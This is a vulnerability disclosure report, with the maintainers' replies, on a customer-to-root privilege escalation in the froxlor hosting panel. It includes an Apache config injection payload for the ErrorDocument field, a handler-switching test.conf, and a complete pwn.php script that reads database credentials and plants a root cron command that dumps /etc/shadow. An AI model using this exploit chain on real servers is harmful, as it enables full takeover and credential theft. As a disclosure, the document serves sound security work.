Privilege Escalation from customer to root in froxlor/froxlor
Reported on
Jan 25th 2023
Privilege Escalation from Customer to Root
<offtopic> First of all, sorry for the formatting of the report, but this platform is a mess. I can't attach any PoC files (added chapters at the end of the report instead), can't attach any screenshots, nor provide a report as PDF. And btw markdown is only partly supported, e.g. lists don't work. Perfect, if u want to provide detailed information about multiple steps. </offtopic>
Setup
1. Fresh Ubuntu 22.04.1 Install
2. Install of froxlor using package
(https://docs.froxlor.org/latest/general/installation/apt-package.html)
3. Finish Installation via WebGUI
(https://docs.froxlor.org/latest/general/installation/tarball.html#_3-create-privileged-database-user)
* All Steps with default values (except IP)
4. Initial Service Configuration
(https://docs.froxlor.org/latest/admin-guide/configuration/)
* All Steps with default values
* Configured services: Apache 2.4, PHP-FPM
5. Add a new customer
* Default values, with some exceptions:
* Webspace: 100MiB
* First name, Last name, Company, Email: filled with random string
(not important for further steps)
6. Add a new Domain and assign to previously created customer
* Default values, with some exceptions:
* Domain: demo.ubn22.local
* Customer: web1
Privilege Escalation
1. Putting of files as customer in folder
/var/customers/webs/web1/demo.ubn22.local/ (root directory for domain
demo.ubn22.local)
* info.php: phpinfo script to visualize 1st part of privilege escalation
* pwn.php: script automating 2nd part of privilege escalation
* test.conf: apache config file, used in 1st part of privilege escalation
2. Login as customer, "Add path options":
* Path: /demo.ubn22.local/
* ErrorDocument 404:
* usage:
* intended: Path to a file
* possible abuse: Multiline Apache config injection
* In order to submit a multiline value, the form field type was change
inside the browser (F12 / Developer Console) from "input" to "textarea".
Another possibility is to use some kind of proxy (e.g. Burp) to
manipulate the request or completely create it in console (e.g. curl).
* Inserted Text:
/"
IncludeOptional /var/customers/webs/web1/demo.ubn22.local/test.conf
#
* Line 1: trailing quotation mark to create valid syntax in
resulting config
* Line 2: include previously created (malicious) config, important:
usage of "tab" instead of "space" (space will get escaped
and would result in invalid configuration)
* Line 3: Start of comment, required for valid syntax in
resulting config
3. Froxlor will create a config file based on parameters from step 2. This
will include the previously stored test.conf file from the customer
directory inside the Apache configuration.
# 40_froxlor_diroption_92cb6c00f0730c0d82b86cabaf393092.conf
# Created 25.01.2023 14:42
# Do NOT manually edit this file, all changes will be deleted after the next domain change at the panel.
<Directory "/var/customers/webs/web1/demo.ubn22.local/">
Options -Indexes
ErrorDocument 404 "/"
IncludeOptional /var/customers/webs/web1/demo.ubn22.local/test.conf
#"
</Directory>
4. Being able to manipulate the Apache configuration, the PHP handler will
be modified, so that it executes in the context of the froxlor
webinterface, instead of the customer.
The exact path used in line 3 of test.conf is predictable
(https://github.com/Froxlor/Froxlor/blob/main/lib/Froxlor/Cron/Http/Php/Fpm.php\#L346)
5. The customer can now execute PHP scripts in the context of the froxlor
webinterface. Abusing these new permissions, a code execution as root is
possible using multiple ways.
It will be demonstrated by abusing the cron tasks of froxlor. To automate
the process, the script "pwn.php" has been written. It will execute the
following steps:
* Include "/var/www/html/froxlor/lib/userdata.inc.php" to gain database
credentials
* Prepend a malicious command to config value "croncmdline" inside
database, which will get executed by root. To proof the execution as
user root, the command "id" will be executed, the file "/etc/shadow"
will be read and the output will be stored in the customer domain root
directory as "proof.txt".
* Insert a new task to rebuild cron config inside database.
* Output "proof.txt" if it exists
After the initial execution of the script, some time needs to pass, in
order to get the cron job executed twice (1st run: write malicious
cron job, 2nd run: execute malicious cronjob). By default the cron job
will get executed every 5 minutes.
info.php
<?php
phpinfo();
pwn.php
<html>
<head>
<title>Pwn</title>
</head>
<body>
<?php
ini_set('error_reporting', E_ALL);
ini_set('display_errors', true);
require '/var/www/html/froxlor/lib/userdata.inc.php';
echo '$sql:<br /><pre>';
echo var_export($sql, true);
echo '</pre>';
echo '$sql_root:<br /><pre>';
echo var_export($sql_root, true);
echo '</pre>';
echo 'Connecting to MySQL<br />';
$dbh = new PDO('mysql:host=' . $sql_root[0]['host'] . ';dbname=' . $sql['db'], $sql_root[0]['user'], $sql_root[0]['password']);
// pwn config
$pwnOut = getcwd() . DIRECTORY_SEPARATOR . 'proof.txt';
$pwnCmd = 'id > ' . $pwnOut .'; cat /etc/shadow >> ' . $pwnOut .'; ';
echo 'Checking "croncmdline" setting<br />';
$sth = $dbh->query("SELECT `value` FROM `panel_settings` WHERE `settinggroup` LIKE 'system' AND `varname` LIKE 'croncmdline'");
$row = $sth->fetch();
if (strstr($row['value'], $pwnCmd) === false) {
echo 'Patching "croncmdline" setting<br />';
if (1 !== $dbh->exec("UPDATE `panel_settings` SET `value` = CONCAT('" . $pwnCmd . "', value) WHERE `settinggroup` LIKE 'system' AND `varname` LIKE 'croncmdline'")) {
die('patching failed');
}
echo 'inserting task to rebuild cron config<br />';
if (1 !== $dbh->exec("INSERT INTO `panel_tasks` (`id`, `type`, `data`) VALUES (NULL, 99, '')")) {
die('inserting task failed failed');
}
} else {
echo 'Setting "croncmdline" already patched<br />';
}
if (is_file($pwnOut)) {
echo 'Pwn Proof:<br><pre>';
readfile($pwnOut);
echo '</pre>';
} else {
echo 'Proof not found. Pls wait for cron to get executed twice (default 2x 5 minutes): ';
echo '<a href="">RELOAD</a>';
}
$sth = null;
$dbh = null;
?>
</body>
</html>
test.conf
<FilesMatch \.(php)$>
<If "-f %{SCRIPT_FILENAME}">
SetHandler proxy:unix:/var/lib/apache2/fastcgi/1-froxlor.panel-ubn22.local-php-fpm.socket|fcgi://localhost
</If>
</FilesMatch>
Impact
Every customer can execute code as root
Occurrences
Thank you for your report and the extensive description. Would you mind be willing to test against a patch if that fixes the issue?
Thanks a lot: https://froxlor.com/c2a84917-7ac0-4169-81c1-b61e617023de.diff
I can confirm that the multiline injection inside the apache config (ErrorDocument) doesn't work anymore.
Slightly offtopic:
If a customer inserts:
a"b
The resulting config line will be:
ErrorDocument 404 "/a"b"
This line is an invalid Apache config, thus preventing from Apache from reload. This will affect not only the customer himself, but all other users/admins too.
if the customer inserts a"b
it will be considered a file and no surrounding quotes are being used in the generated apache configs. For froxlor to generate a text-response you need to specify a string that starts with " and ends with ". I've also added the quote-sign as disallowed in this scenario so a result like "/a"b"
cannot occur
Okay, the fix and new release are scheduled for later this day or tomorrow. thanks again